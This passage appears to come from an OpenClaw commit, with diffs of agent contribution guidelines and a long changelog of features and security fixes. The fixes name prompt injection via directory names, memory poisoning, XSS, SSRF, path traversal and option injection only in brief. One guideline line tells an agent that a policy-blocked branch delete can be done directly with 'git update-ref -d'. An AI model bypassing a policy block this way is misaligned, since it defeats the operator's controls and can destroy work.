duplicate content in the LLM context on new thread sessions.
Suppress InboundHistory and ThreadStarterBody when ThreadHistoryBody is
present, since it is a strict superset of both.
* remove verbose comment
* fix(slack): paginate thread history context fetch
* fix(slack): wire session file path options after main merge
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
@@ -107,7 +107,7 @@ Before any substantive review or prep work, **always rebase the PR branch onto c
- In normal `prepare-pr` runs, commits are created via `scripts/committer "<msg>" <file...>`. Use it manually only when operating outside the skill flow; avoid manual `git add`/`git commit` so staging stays scoped.
- Follow concise, action-oriented commit messages (e.g., `CLI: add verbose flag to send`).
- During `prepare-pr`, use this commit subject format: `fix: <summary> (openclaw#<PR>) thanks @<pr-author>`.
- During `prepare-pr`, use concise, action-oriented subjects **without** PR numbers or thanks; reserve `(#<PR>) thanks @<pr-author>` for the final merge/squash commit.
- Group related changes; avoid bundling unrelated refactors.
- Changelog workflow: keep the latest released version at the top (no `Unreleased`); after publishing, bump the version and start a new top section.
- When working on a PR: add a changelog entry with the PR number and thank the contributor (mandatory in this workflow).
Use concise, action-oriented subject lines without PR numbers/thanks. The final merge/squash commit is the only place we include PR numbers and contributor thanks.
- If deps are missing (for example `node_modules` missing, `vitest not found`, or `command not found`), run the repo’s package-manager install command (prefer lockfile/README-defined PM), then rerun the exact requested command once. Apply this to test/build/lint/typecheck/dev commands; if retry still fails, report the command and first actionable error.
- Pre-commit hooks: `prek install` (runs same checks as CI)
- Also supported: `bun install` (keep `pnpm-lock.yaml` + Bun patching in sync when touching deps/patches).
- Prefer Bun for TypeScript execution (scripts, dev, tests): `bun <file.ts>` / `bunx <tool>`.
@@ -99,13 +100,17 @@
- Create commits with `scripts/committer "<msg>" <file...>`; avoid manual `git add`/`git commit` so staging stays scoped.
- Follow concise, action-oriented commit messages (e.g., `CLI: add verbose flag to send`).
- Group related changes; avoid bundling unrelated refactors.
-Read this when submitting a PR: `docs/help/submitting-a-pr.md` ([Submitting a PR](https://docs.openclaw.ai/help/submitting-a-pr))
-Read this when submitting an issue: `docs/help/submitting-an-issue.md` ([Submitting an Issue](https://docs.openclaw.ai/help/submitting-an-issue))
-`sync`: if working tree is dirty, commit all changes (pick a sensible Conventional Commit message), then `git pull --rebase`; if rebase conflicts and cannot resolve, stop; otherwise `git push`.
## Git Notes
- If `git branch -d/-D <branch>` is policy-blocked, delete the local ref directly: `git update-ref -d refs/heads/<branch>`.
## Security & Configuration Tips
- Web provider stores creds at `~/.openclaw/credentials/`; rerun `openclaw login` if logged out.
@@ -114,6 +119,19 @@
- Never commit or publish real phone numbers, videos, or live configuration values. Use obviously fake placeholders in docs, tests, and examples.
- Release flow: always read `docs/reference/RELEASING.md` and `docs/platforms/mac/release.md` before any release work; do not ask routine questions once those docs answer them.
## GHSA (Repo Advisory) Patch/Publish
- Fetch: `gh api /repos/openclaw/openclaw/security-advisories/<GHSA>`
- Latest npm: `npm view openclaw version --userconfig "$(mktemp)"`
- Private fork PRs must be closed:
`fork=$(gh api /repos/openclaw/openclaw/security-advisories/<GHSA> | jq -r .private_fork.full_name)`
`gh pr list -R "$fork" --state open` (must be empty)
- Description newline footgun: write Markdown via heredoc to `/tmp/ghsa.desc.md` (no `"\\n"` strings)
- Discord: unlock rich interactive agent prompts with Components v2 (buttons, selects, modals, and attachment-backed file blocks) so for native interaction through Discord. Thanks @thewilloftheshadow.
- Plugins: expose `llm_input` and `llm_output` hook payloads so extensions can observe prompt/input context and model output usage details. (#16724) Thanks @SecondThread.
- Subagents: nested sub-agents (sub-sub-agents) with configurable depth. Set `agents.defaults.subagents.maxSpawnDepth: 2` to allow sub-agents to spawn their own children. Includes `maxChildrenPerAgent` limit (default 5), depth-aware tool policy, and proper announce chain routing. (#14447) Thanks @tyler6204.
- Slack/Discord/Telegram: add per-channel ack reaction overrides (account/channel-level) to support platform-specific emoji formats. (#17092) Thanks @zerone0x.
- Cron/Gateway: add finished-run webhook delivery toggle (`notify`) and dedicated webhook auth token support (`cron.webhookToken`) for outbound cron webhook posts. (#14535) Thanks @advaitpaliwal.
- Cron/Gateway: separate per-job webhook delivery (`delivery.mode = "webhook"`) from announce delivery, enforce valid HTTP(S) webhook URLs, and keep a temporary legacy `notify + cron.webhook` fallback for stored jobs. (#17901) Thanks @advaitpaliwal.
- Channels: deduplicate probe/token resolution base types across core + extensions while preserving per-channel error typing. (#16986) Thanks @iyoda and @thewilloftheshadow.
### Fixes
- Security/Audit: distinguish external webhooks (`hooks.enabled`) from internal hooks (`hooks.internal.enabled`) in attack-surface summaries to avoid false exposure signals when only internal hooks are enabled. (#13474) Thanks @mcaxtr.
- Security: replace deprecated SHA-1 sandbox configuration hashing with SHA-256 for deterministic sandbox cache identity and recreation checks. Thanks @kexinoh.
- Security/Sessions: create new session transcript JSONL files with user-only (`0o600`) permissions and extend `openclaw security audit --fix` to remediate existing transcript file permissions.
- Security/Logging: redact Telegram bot tokens from error messages and uncaught stack traces to prevent accidental secret leakage into logs. Thanks @aether-ai-agent.
- Sandbox: preserve array order in config hashing so order-sensitive Docker/browser settings trigger container recreation correctly. Thanks @kexinoh.
- Gateway/Security: redact sensitive session/path details from `status` responses for non-admin clients; full details remain available to `operator.admin`. (#8590) Thanks @fr33d3m0n.
- Gateway/Control UI: preserve requested operator scopes for Control UI bypass modes (`allowInsecureAuth` / `dangerouslyDisableDeviceAuth`) when device identity is unavailable, preventing false `missing scope` failures on authenticated LAN/HTTP operator sessions. (#17682) Thanks @leafbird.
- LINE/Security: fail closed on webhook startup when channel token or channel secret is missing, and treat LINE accounts as configured only when both are present. (#17587) Thanks @davidahmann.
- Skills/Security: restrict `download` installer `targetDir` to the per-skill tools directory to prevent arbitrary file writes. Thanks @Adam55A-code.
- Skills/Linux: harden go installer fallback on apt-based systems by handling root/no-sudo environments safely, doing best-effort apt index refresh, and returning actionable errors instead of failing with spawn errors. (#17687) Thanks @mcrolly.
- Web Fetch/Security: cap downloaded response body size before HTML parsing to prevent memory exhaustion from oversized or deeply nested pages. Thanks @xuemian168.
- Infra/Fetch: ensure foreign abort-signal listener cleanup never masks original fetch successes/failures, while still preventing detached-finally unhandled rejection noise in `wrapFetchWithAbortSignal`. Thanks @Jackten.
- Config/Gateway: make sensitive-key whitelist suffix matching case-insensitive while preserving `passwordFile` path exemptions, preventing accidental redaction of non-secret config values like `maxTokens` and IRC password-file paths. (#16042) Thanks @akramcodez.
- Gateway/Config: prevent `config.patch` object-array merges from falling back to full-array replacement when some patch entries lack `id`, so partial `agents.list` updates no longer drop unrelated agents. (#17989) Thanks @stakeswky.
- Dev tooling: harden git `pre-commit` hook against option injection from malicious filenames (for example `--force`), preventing accidental staging of ignored files. Thanks @mrthankyou.
- Gateway/Agent: reject malformed `agent:`-prefixed session keys (for example, `agent:main`) in `agent` and `agent.identity.get` instead of silently resolving them to the default agent, preventing accidental cross-session routing. (#15707) Thanks @rodrigouroz.
- Gateway/Chat: harden `chat.send` inbound message handling by rejecting null bytes, stripping unsafe control characters, and normalizing Unicode to NFC before dispatch. (#8593) Thanks @fr33d3m0n.
- Gateway/Send: return an actionable error when `send` targets internal-only `webchat`, guiding callers to use `chat.send` or a deliverable channel. (#15703) Thanks @rodrigouroz.
- Control UI: prevent stored XSS via assistant name/avatar by removing inline script injection, serving bootstrap config as JSON, and enforcing `script-src 'self'`. Thanks @Adam55A-code.
- Agents/Security: sanitize workspace paths before embedding into LLM prompts (strip Unicode control/format chars) to prevent instruction injection via malicious directory names. Thanks @aether-ai-agent.
- Agents/Sandbox: clarify system prompt path guidance so sandbox `bash/exec` uses container paths (for example `/workspace`) while file tools keep host-bridge mapping, avoiding first-attempt path misses from host-only absolute paths in sandbox command execution. (#17693) Thanks @app/juniordevbot.
- Agents/Context: apply configured model `contextWindow` overrides after provider discovery so `lookupContextTokens()` honors operator config values (including discovery-failure paths). (#17404) Thanks @michaelbship and @vignesh07.
- Agents/Context: derive `lookupContextTokens()` from auth-available model metadata and keep the smallest discovered context window for duplicate model ids, preventing cross-provider cache collisions from overestimating session context limits. (#17586) Thanks @githabideri and @vignesh07.
- Agents/OpenAI: force `store=true` for direct OpenAI Responses/Codex runs to preserve multi-turn server-side conversation state, while leaving proxy/non-OpenAI endpoints unchanged. (#16803) Thanks @mark9232 and @vignesh07.
- Memory/FTS: make `buildFtsQuery` Unicode-aware so non-ASCII queries (including CJK) produce keyword tokens instead of falling back to vector-only search. (#17672) Thanks @KinGP5471.
- Auto-reply/Compaction: resolve `memory/YYYY-MM-DD.md` placeholders with timezone-aware runtime dates and append a `Current time:` line to memory-flush turns, preventing wrong-year memory filenames without making the system prompt time-variant. (#17603, #17633) Thanks @nicholaspapadam-wq and @vignesh07.
- Agents: return an explicit timeout error reply when an embedded run times out before producing any payloads, preventing silent dropped turns during slow cache-refresh transitions. (#16659) Thanks @liaosvcaf and @vignesh07.
- Group chats: always inject group chat context (name, participants, reply guidance) into the system prompt on every turn, not just the first. Prevents the model from losing awareness of which group it's in and incorrectly using the message tool to send to the same group. (#14447) Thanks @tyler6204.
- Browser/Agents: when browser control service is unavailable, return explicit non-retry guidance (instead of "try again") so models do not loop on repeated browser tool calls until timeout. (#17673) Thanks @austenstone.
- Subagents: use child-run-based deterministic announce idempotency keys across direct and queued delivery paths (with legacy queued-item fallback) to prevent duplicate announce retries without collapsing distinct same-millisecond announces. (#17150) Thanks @widingmarcus-cyber.
- Subagents/Models: preserve `agents.defaults.model.fallbacks` when subagent sessions carry a model override, so subagent runs fail over to configured fallback models instead of retrying only the overridden primary model.
- Agents/Models: probe the primary model when its auth-profile cooldown is near expiry (with per-provider throttling), so runs recover from temporary rate limits without staying on fallback models until restart. (#17478) Thanks @PlayerGhost.
- Telegram: omit `message_thread_id` for DM sends/draft previews and keep forum-topic handling (`id=1` general omitted, non-general kept), preventing DM failures with `400 Bad Request: message thread not found`. (#10942) Thanks @garnetlyx.
- Telegram: replace inbound `<media:audio>` placeholder with successful preflight voice transcript in message body context, preventing placeholder-only prompt bodies for mention-gated voice messages. (#16789) Thanks @Limitless2023.
- Telegram: retry inbound media `getFile` calls (3 attempts with backoff) and gracefully fall back to placeholder-only processing when retries fail, preventing dropped voice/media messages on transient Telegram network errors. (#16154) Thanks @yinghaosang.
- Telegram: finalize streaming preview replies in place instead of sending a second final message, preventing duplicate Telegram assistant outputs at stream completion. (#17218) Thanks @obviyus.
- Telegram: keep draft-stream preview replies attached to the user message for `replyToMode: "all"` in groups and DMs, preserving threaded reply context from preview through finalization. (#17880) Thanks @yinghaosang.
- Telegram: disable block streaming when `channels.telegram.streamMode` is `off`, preventing newline/content-block replies from splitting into multiple messages. (#17679) Thanks @saivarunk.
- Telegram: route non-abort slash commands on the normal chat/topic sequential lane while keeping true abort requests (`/stop`, `stop`) on the control lane, preventing command/reply race conditions from control-lane bypass. (#17899) Thanks @obviyus.
- Telegram: prevent streaming final replies from being overwritten by later final/error payloads, and suppress fallback tool-error warnings when a recovered assistant answer already exists after tool calls. (#17883) Thanks @Marvae and @obviyus.
- Discord: preserve channel session continuity when runtime payloads omit `message.channelId` by falling back to event/raw `channel_id` values for routing/session keys, so same-channel messages keep history across turns/restarts. Also align diagnostics so active Discord runs no longer appear as `sessionKey=unknown`. (#17622) Thanks @shakkernerd.
- Discord: dedupe native skill commands by skill name in multi-agent setups to prevent duplicated slash commands with `_2` suffixes. (#17365) Thanks @seewhyme.
- Discord: ensure role allowlist matching uses raw role IDs for message routing authorization. Thanks @xinhuagu.
- Web UI/Agents: hide `BOOTSTRAP.md` in the Agents Files list after onboarding is completed, avoiding confusing missing-file warnings for completed workspaces. (#17491) Thanks @gumadeiras.
- Memory/QMD: scope managed collection names per agent and precreate glob-backed collection directories before registration, preventing cross-agent collection clobbering and startup ENOENT failures in fresh workspaces. (#17194) Thanks @jonathanadams96.
- Auto-reply/WhatsApp/TUI/Web: when a final assistant message is `NO_REPLY` and a messaging tool send succeeded, mirror the delivered messaging-tool text into session-visible assistant output so TUI/Web no longer show `NO_REPLY` placeholders. (#7010) Thanks @Morrowind-Xie.
- Auto-reply/TTS: keep tool-result media delivery enabled in group chats and native command sessions (while still suppressing tool summary text) so `NO_REPLY` follow-ups do not drop successful TTS audio. (#17991) Thanks @zerone0x.
- Cron: infer `payload.kind="agentTurn"` for model-only `cron.update` payload patches, so partial agent-turn updates do not fail validation when `kind` is omitted. (#15664) Thanks @rodrigouroz.
- Cron: preserve per-job schedule-error isolation in post-run maintenance recompute so malformed sibling jobs no longer abort persistence of successful runs. (#17852) Thanks @pierreeurope.
- TUI: make searchable-select filtering and highlight rendering ANSI-aware so queries ignore hidden escape codes and no longer corrupt ANSI styling sequences during match highlighting. (#4519) Thanks @bee4come.
- TUI/Windows: coalesce rapid single-line submit bursts in Git Bash into one multiline message as a fallback when bracketed paste is unavailable, preventing pasted multiline text from being split into multiple sends. (#4986) Thanks @adamkane.
- TUI: suppress false `(no output)` placeholders for non-local empty final events during concurrent runs, preventing external-channel replies from showing empty assistant bubbles while a local run is still streaming. (#5782) Thanks @LagWizard and @vignesh07.
- TUI: preserve copy-sensitive long tokens (URLs/paths/file-like identifiers) during wrapping and overflow sanitization so wrapped output no longer inserts spaces that corrupt copy/paste values. (#17515, #17466, #17505) Thanks @abe238, @trevorpan, and @JasonCry.
- CLI/Build: make legacy daemon CLI compatibility shim generation tolerant of minimal tsdown daemon export sets, while preserving restart/register compatibility aliases and surfacing explicit errors for unavailable legacy daemon commands. Thanks @vignesh07.
- Slack/Discord: add `dmPolicy` + `allowFrom` config aliases for DM access control; legacy `dm.policy` + `dm.allowFrom` keys remain supported and `openclaw doctor --fix` can migrate them.
- Discord: allow exec approval prompts to target channels or both DM+channel via `channels.discord.execApprovals.target`. (#16051) Thanks @leonnardo.
- Sandbox: add `sandbox.browser.binds` to configure browser-container bind mounts separately from exec containers. (#16230) Thanks @seheepeak.
- Discord: add debug logging for message routing decisions to improve `--debug` tracing. (#16202) Thanks @jayleekr.
- Agents: add optional `messages.suppressToolErrors` config to hide non-mutating tool-failure warnings from user-facing chat while still surfacing mutating failures. (#16620) Thanks @vai-oro.
### Fixes
- Security/Sessions/Telegram: restrict session tool targeting by default to the current session tree (`tools.sessions.visibility`, default `tree`) with sandbox clamping, and pass configured per-account Telegram webhook secrets in webhook mode when no explicit override is provided. Thanks @aether-ai-agent.
- CLI/Plugins: ensure `openclaw message send` exits after successful delivery across plugin-backed channels so one-shot sends do not hang. (#16491) Thanks @yinghaosang.
- CLI/Plugins: run registered plugin `gateway_stop` hooks before `openclaw message` exits (success and failure paths), so plugin-backed channels can clean up one-shot CLI resources. (#16580) Thanks @gumadeiras.
- WhatsApp: honor per-account `dmPolicy` overrides (account-level settings now take precedence over channel defaults for inbound DMs). (#10082) Thanks @mcaxtr.
- Telegram: when `channels.telegram.commands.native` is `false`, exclude plugin commands from `setMyCommands` menu registration while keeping plugin slash handlers callable. (#15132) Thanks @Glucksberg.
- LINE: return 200 OK for Developers Console "Verify" requests (`{"events":[]}`) without `X-Line-Signature`, while still requiring signatures for real deliveries. (#16582) Thanks @arosstale.
- Cron: deliver text-only output directly when `delivery.to` is set so cron recipients get full output instead of summaries. (#16360) Thanks @thewilloftheshadow.
- Cron/Slack: preserve agent identity (name and icon) when cron jobs deliver outbound messages. (#16242) Thanks @robbyczgw-cla.
- Media: accept `MEDIA:`-prefixed paths (lenient whitespace) when loading outbound media to prevent `ENOENT` for tool-returned local media paths. (#13107) Thanks @mcaxtr.
- Media understanding: treat binary `application/vnd.*`/zip/octet-stream attachments as non-text (while keeping vendor `+json`/`+xml` text-eligible) so Office/ZIP files are not inlined into prompt body text. (#16513) Thanks @rmramsey32.
- Agents: deliver tool result media (screenshots, images, audio) to channels regardless of verbose level. (#11735) Thanks @strelov1.
- Auto-reply/Block streaming: strip leading whitespace from streamed block replies so messages starting with blank lines no longer deliver visible leading empty lines. (#16422) Thanks @mcinteerj.
- Auto-reply/Queue: keep queued followups and overflow summaries when drain attempts fail, then retry delivery instead of dropping messages on transient errors. (#16771) Thanks @mmhzlrj.
- Agents/Image tool: allow workspace-local image paths by including the active workspace directory in local media allowlists, and trust sandbox-validated paths in image loaders to prevent false "not under an allowed directory" rejections. (#15541)
- Agents/Image tool: propagate the effective workspace root into tool wiring so workspace-local image paths are accepted by default when running without an explicit `workspaceDir`. (#16722)
- BlueBubbles: include sender identity in group chat envelopes and pass clean message text to the agent prompt, aligning with iMessage/Signal formatting. (#16210) Thanks @zerone0x.
- CLI: fix lazy core command registration so top-level maintenance commands (`doctor`, `dashboard`, `reset`, `uninstall`) resolve correctly instead of exposing a non-functional `maintenance` placeholder command.
- CLI/Dashboard: when `gateway.bind=lan`, generate localhost dashboard URLs to satisfy browser secure-context requirements while preserving non-LAN bind behavior. (#16434) Thanks @BinHPdev.
- TUI/Gateway: resolve local gateway target URL from `gateway.bind` mode (tailnet/lan) instead of hardcoded localhost so `openclaw tui` connects when gateway is non-loopback. (#16299) Thanks @cortexuvula.
- TUI: honor explicit `--session <key>` in `openclaw tui` even when `session.scope` is `global`, so named sessions no longer collapse into shared global history. (#16575) Thanks @cinqu.
- TUI: use available terminal width for session name display in searchable select lists. (#16238) Thanks @robbyczgw-cla.
- TUI: refactor searchable select list description layout and add regression coverage for ANSI-highlight width bounds.
- TUI: preserve in-flight streaming replies when a different run finalizes concurrently (avoid clearing active run or reloading history mid-stream). (#10704) Thanks @axschr73.
- TUI: keep pre-tool streamed text visible when later tool-boundary deltas temporarily omit earlier text blocks. (#6958) Thanks @KrisKind75.
- TUI: sanitize ANSI/control-heavy history text, redact binary-like lines, and split pathological long unbroken tokens before rendering to prevent startup crashes on binary attachment history. (#13007) Thanks @wilkinspoe.
- TUI: harden render-time sanitizer for narrow terminals by chunking moderately long unbroken tokens and adding fast-path sanitization guards to reduce overhead on normal text. (#5355) Thanks @tingxueren.
- TUI: render assistant body text in terminal default foreground (instead of fixed light ANSI color) so contrast remains readable on light themes such as Solarized Light. (#16750) Thanks @paymog.
- TUI/Hooks: pass explicit reset reason (`new` vs `reset`) through `sessions.reset` and emit internal command hooks for gateway-triggered resets so `/new` hook workflows fire in TUI/webchat.
- Gateway/Agent: route bare `/new` and `/reset` through `sessions.reset` before running the fresh-session greeting prompt, so reset commands clear the current session in-place instead of falling through to normal agent runs. (#16732) Thanks @kdotndot and @vignesh07.
- Cron: prevent `cron list`/`cron status` from silently skipping past-due recurring jobs by using maintenance recompute semantics. (#16156) Thanks @zerone0x.
- Cron: repair missing/corrupt `nextRunAtMs` for the updated job without globally recomputing unrelated due jobs during `cron update`. (#15750)
- Cron: treat persisted jobs with missing `enabled` as enabled by default across update/list/timer due-path checks, and add regression coverage for missing-`enabled` store records. (#15433) Thanks @eternauta1337.
- Cron: skip missed-job replay on startup for jobs interrupted mid-run (stale `runningAtMs` markers), preventing restart loops for self-restarting jobs such as update tasks. (#16694) Thanks @sbmilburn.
- Heartbeat/Cron: treat cron-tagged queued system events as cron reminders even on interval wakes, so isolated cron announce summaries no longer run under the default heartbeat prompt. (#14947) Thanks @archedark-ada and @vignesh07.
- Discord: prefer gateway guild id when logging inbound messages so cached-miss guilds do not appear as `guild=dm`. Thanks @thewilloftheshadow.
- Discord: treat empty per-guild `channels: {}` config maps as no channel allowlist (not deny-all), so `groupPolicy: "open"` guilds without explicit channel entries continue to receive messages. (#16714) Thanks @xqliu.
- Models/CLI: guard `models status` string trimming paths to prevent crashes from malformed non-string config values. (#16395) Thanks @BinHPdev.
- Gateway/Subagents: preserve queued announce items and summary state on delivery errors, retry failed announce drains, and avoid dropping unsent announcements on timeout/failure. (#16729) Thanks @Clawdette-Workspace.
- Gateway/Config: make `config.patch` merge object arrays by `id` (for example `agents.list`) instead of replacing the whole array, so partial agent updates do not silently delete unrelated agents. (#6766) Thanks @lightclient.
- Webchat/Prompts: stop injecting direct-chat `conversation_label` into inbound untrusted metadata context blocks, preventing internal label noise from leaking into visible chat replies. (#16556) Thanks @nberardi.
- Auto-reply/Prompts: include trusted inbound `message_id`, `chat_id`, `reply_to_id`, and optional `message_id_full` metadata fields so action tools (for example reactions) can target the triggering message without relying on user text. (#17662) Thanks @MaikiMolto.
- Gateway/Sessions: abort active embedded runs and clear queued session work before `sessions.reset`, returning unavailable if the run does not stop in time. (#16576) Thanks @Grynn.
- Sessions/Agents: harden transcript path resolution for mismatched agent context by preserving explicit store roots and adding safe absolute-path fallback to the correct agent sessions directory. (#16288) Thanks @robbyczgw-cla.
- Agents: add a safety timeout around embedded `session.compact()` to ensure stalled compaction runs settle and release blocked session lanes. (#16331) Thanks @BinHPdev.
- Agents/Tools: make required-parameter validation errors list missing fields and instruct: "Supply correct parameters before retrying," reducing repeated invalid tool-call loops (for example `read({})`). (#14729)
- Agents: keep unresolved mutating tool failures visible until the same action retry succeeds, scope mutation-error surfacing to mutating calls (including `session_status` model changes), and dedupe duplicate failure warnings in outbound replies. (#16131) Thanks @Swader.
- Agents/Process/Bootstrap: preserve unbounded `process log` offset-only pagination (default tail applies only when both `offset` and `limit` are omitted) and enforce strict `bootstrapTotalMaxChars` budgeting across injected bootstrap content (including markers), skipping additional injection when remaining budget is too small. (#16539) Thanks @CharlieGreenman.
- Agents/Workspace: persist bootstrap onboarding state so partially initialized workspaces recover missing `BOOTSTRAP.md` once, while completed onboarding keeps BOOTSTRAP deleted even if runtime files are later recreated. Thanks @gumadeiras.
- Agents/Workspace: create `BOOTSTRAP.md` when core workspace files are seeded in partially initialized workspaces, while keeping BOOTSTRAP one-shot after onboarding deletion. (#16457) Thanks @robbyczgw-cla.
- Agents: classify external timeout aborts during compaction the same as internal timeouts, preventing unnecessary auth-profile rotation and preserving compaction-timeout snapshot fallback behavior. (#9855) Thanks @mverrilli.
- Agents: treat empty-stream provider failures (`request ended without sending any chunks`) as timeout-class failover signals, enabling auth-profile rotation/fallback and showing a friendly timeout message instead of raw provider errors. (#10210) Thanks @zenchantlive.
- Agents: treat `read` tool `file_path` arguments as valid in tool-start diagnostics to avoid false “read tool called without path” warnings when alias parameters are used. (#16717) Thanks @Stache73.
- Agents/Transcript: drop malformed tool-call blocks with blank required fields (`id`/`name` or missing `input`/`arguments`) during session transcript repair to prevent persistent tool-call corruption on future turns. (#15485) Thanks @mike-zachariades.
- Tools/Write/Edit: normalize structured text-block arguments for `content`/`oldText`/`newText` before filesystem edits, preventing JSON-like file corruption and false “exact text not found” misses from block-form params. (#16778) Thanks @danielpipernz.
- Ollama/Agents: avoid forcing `<final>` tag enforcement for Ollama models, which could suppress all output as `(no output)`. (#16191) Thanks @Glucksberg.
- Plugins: suppress false duplicate plugin id warnings when the same extension is discovered via multiple paths (config/workspace/global vs bundled), while still warning on genuine duplicates. (#16222) Thanks @shadril238.
- Agents/Process: supervise PTY/child process lifecycles with explicit ownership, cancellation, timeouts, and deterministic cleanup, preventing Codex/Pi PTY sessions from dying or stalling on resume. (#14257) Thanks @onutc.
- Skills: watch `SKILL.md` only when refreshing skills snapshot to avoid file-descriptor exhaustion in large data trees. (#11325) Thanks @household-bard.
- Memory/QMD: make `memory status` read-only by skipping QMD boot update/embed side effects for status-only manager checks.
- Memory/QMD: keep original QMD failures when builtin fallback initialization fails (for example missing embedding API keys), instead of replacing them with fallback init errors.
- Memory/Builtin: keep `memory status` dirty reporting stable across invocations by deriving status-only manager dirty state from persisted index metadata instead of process-start defaults. (#10863) Thanks @BarryYangi.
- Memory/QMD: cap QMD command output buffering to prevent memory exhaustion from pathological `qmd` command output.
- Memory/QMD: parse qmd scope keys once per request to avoid repeated parsing in scope checks.
- Memory/QMD: query QMD index using exact docid matches before falling back to prefix lookup for better recall correctness and index efficiency.
- Memory/QMD: pass result limits to `search`/`vsearch` commands so QMD can cap results earlier.
- Memory/QMD: avoid reading full markdown files when a `from/lines` window is requested in QMD reads.
- Memory/QMD: skip rewriting unchanged session export markdown files during sync to reduce disk churn.
- Memory/QMD: make QMD result JSON parsing resilient to noisy command output by extracting the first JSON array from noisy `stdout`.
- Memory/QMD: treat prefixed `no results found` marker output as an empty result set in qmd JSON parsing. (#11302) Thanks @blazerui.
- Memory/QMD: avoid multi-collection `query` ranking corruption by running one `qmd query -c <collection>` per managed collection and merging by best score (also used for `search`/`vsearch` fallback-to-query). (#16740) Thanks @volarian-vai.
- Memory/QMD: rebind managed collections when existing collection metadata drifts (including sessions name-only listings), preventing non-default agents from reusing another agent's `sessions` collection path. (#17194) Thanks @jonathanadams96.
- Memory/QMD: make `openclaw memory index` verify and print the active QMD index file path/size, and fail when QMD leaves a missing or zero-byte index artifact after an update. (#16775) Thanks @Shunamxiao.
- Memory/QMD/Security: add `rawKeyPrefix` support for QMD scope rules and preserve legacy `keyPrefix: "agent:..."` matching, preventing scoped deny bypass when operators match agent-prefixed session keys.
- Memory/Builtin: narrow memory watcher targets to markdown globs and ignore dependency/venv directories to reduce file-descriptor pressure during memory sync startup. (#11721) Thanks @rex05ai.
- Security/Memory-LanceDB: treat recalled memories as untrusted context (escape injected memory text + explicit non-instruction framing), skip likely prompt-injection payloads during auto-capture, and restrict auto-capture to user messages to reduce memory-poisoning risk. (#12524) Thanks @davidschmid24.
- Security/Memory-LanceDB: require explicit `autoCapture: true` opt-in (default is now disabled) to prevent automatic PII capture unless operators intentionally enable it. (#12552) Thanks @fr33d3m0n.
- Diagnostics/Memory: prune stale diagnostic session state entries and cap tracked session states to prevent unbounded in-memory growth on long-running gateways. (#5136) Thanks @coygeek and @vignesh07.
- Gateway/Memory: clean up `agentRunSeq` tracking on run completion/abort and enforce maintenance-time cap pruning to prevent unbounded sequence-map growth over long uptimes. (#6036) Thanks @coygeek and @vignesh07.
- Auto-reply/Memory: bound `ABORT_MEMORY` growth by evicting oldest entries and deleting reset (`false`) flags so abort state tracking cannot grow unbounded over long uptimes. (#6629) Thanks @coygeek and @vignesh07.
- Slack/Memory: bound thread-starter cache growth with TTL + max-size pruning to prevent long-running Slack gateways from accumulating unbounded thread cache state. (#5258) Thanks @coygeek and @vignesh07.
- Outbound/Memory: bound directory cache growth with max-size eviction and proactive TTL pruning to prevent long-running gateways from accumulating unbounded directory entries. (#5140) Thanks @coygeek and @vignesh07.
- Skills/Memory: remove disconnected nodes from remote-skills cache to prevent stale node metadata from accumulating over long uptimes. (#6760) Thanks @coygeek.
- Sandbox/Tools: make sandbox file tools bind-mount aware (including absolute container paths) and enforce read-only bind semantics for writes. (#16379) Thanks @tasaankaeris.
- Sandbox/Prompts: show the sandbox container workdir as the prompt working directory and clarify host-path usage for file tools, preventing host-path `exec` failures in sandbox sessions. (#16790) Thanks @carrotRakko.
- Media/Security: allow local media reads from OpenClaw state `workspace/` and `sandboxes/` roots by default so generated workspace media can be delivered without unsafe global path bypasses. (#15541) Thanks @lanceji.
- Media/Security: harden local media allowlist bypasses by requiring an explicit `readFile` override when callers mark paths as validated, and reject filesystem-root `localRoots` entries. (#16739)
- Media/Security: allow outbound local media reads from the active agent workspace (including `workspace-<agentId>`) via agent-scoped local roots, avoiding broad global allowlisting of all per-agent workspaces. (#17136) Thanks @MisterGuy420.
- Outbound/Media: thread explicit `agentId` through core `sendMessage` direct-delivery path so agent-scoped local media roots apply even when mirror metadata is absent. (#17268) Thanks @gumadeiras.
- Discord/Security: harden voice message media loading (SSRF + allowed-local-root checks) so tool-supplied paths/URLs cannot be used to probe internal URLs or read arbitrary local files.
- Security/BlueBubbles: require explicit `mediaLocalRoots` allowlists for local outbound media path reads to prevent local file disclosure. (#16322) Thanks @mbelinky.
- Security/BlueBubbles: reject ambiguous shared-path webhook routing when multiple webhook targets match the same guid/password.
- Security/BlueBubbles: harden BlueBubbles webhook auth behind reverse proxies by only accepting passwordless webhooks for direct localhost loopback requests (forwarded/proxied requests now require a password). Thanks @simecek.
- Feishu/Security: harden media URL fetching against SSRF and local file disclosure. (#16285) Thanks @mbelinky.
- Security/Zalo: reject ambiguous shared-path webhook routing when multiple webhook targets match the same secret.
- Security/Signal: harden signal-cli archive extraction during install to prevent path traversal outside the install root.
- Security/Hooks: restrict hook transform modules to `~/.openclaw/hooks/transforms` (prevents path traversal/escape module loads via config). Config note: `hooks.transformsDir` must now be within that directory. Thanks @akhmittra.
- Security/Hooks: ignore hook package manifest entries that point outside the package directory (prevents out-of-tree handler loads during hook discovery).
- Security/Archive: enforce archive extraction entry/size limits to prevent resource exhaustion from high-expansion ZIP/TAR archives. Thanks @vincentkoc.
- Security/Media: reject oversized base64-backed input media before decoding to avoid large allocations. Thanks @vincentkoc.
- Security/Media: stream and bound URL-backed input media fetches to prevent memory exhaustion from oversized responses. Thanks @vincentkoc.
- Security/Skills: harden archive extraction for download-installed skills to prevent path traversal outside the target directory. Thanks @markmusson.
- Security/Slack: compute command authorization for DM slash commands even when `dmPolicy=open`, preventing unauthorized users from running privileged commands via DM. Thanks @christos-eth.
- Security/Pairing: scope pairing allowlist writes/reads to channel accounts (for example `telegram:yy`), and propagate account-aware pairing approvals so multi-account channels do not share a single per-channel pairing allowFrom store. (#17631) Thanks @crazytan.
- Security/iMessage: keep DM pairing-store identities out of group allowlist authorization (prevents cross-context command authorization). Thanks @vincentkoc.
- Security/Google Chat: deprecate `users/<email>` allowlists (treat `users/...` as immutable user id only); keep raw email allowlists for usability. Thanks @vincentkoc.
- Telegram/Security: require numeric Telegram sender IDs for allowlist authorization (reject `@username` principals), auto-resolve `@username` to IDs in `openclaw doctor --fix` (when possible), and warn in `openclaw security audit` when legacy configs contain usernames. Thanks @vincentkoc.
- Telegram/Security: reject Telegram webhook startup when `webhookSecret` is missing or empty (prevents unauthenticated webhook request forgery). Thanks @yueyueL.
- Security/Windows: avoid shell invocation when spawning child processes to prevent cmd.exe metacharacter injection via untrusted CLI arguments (e.g. agent prompt text).
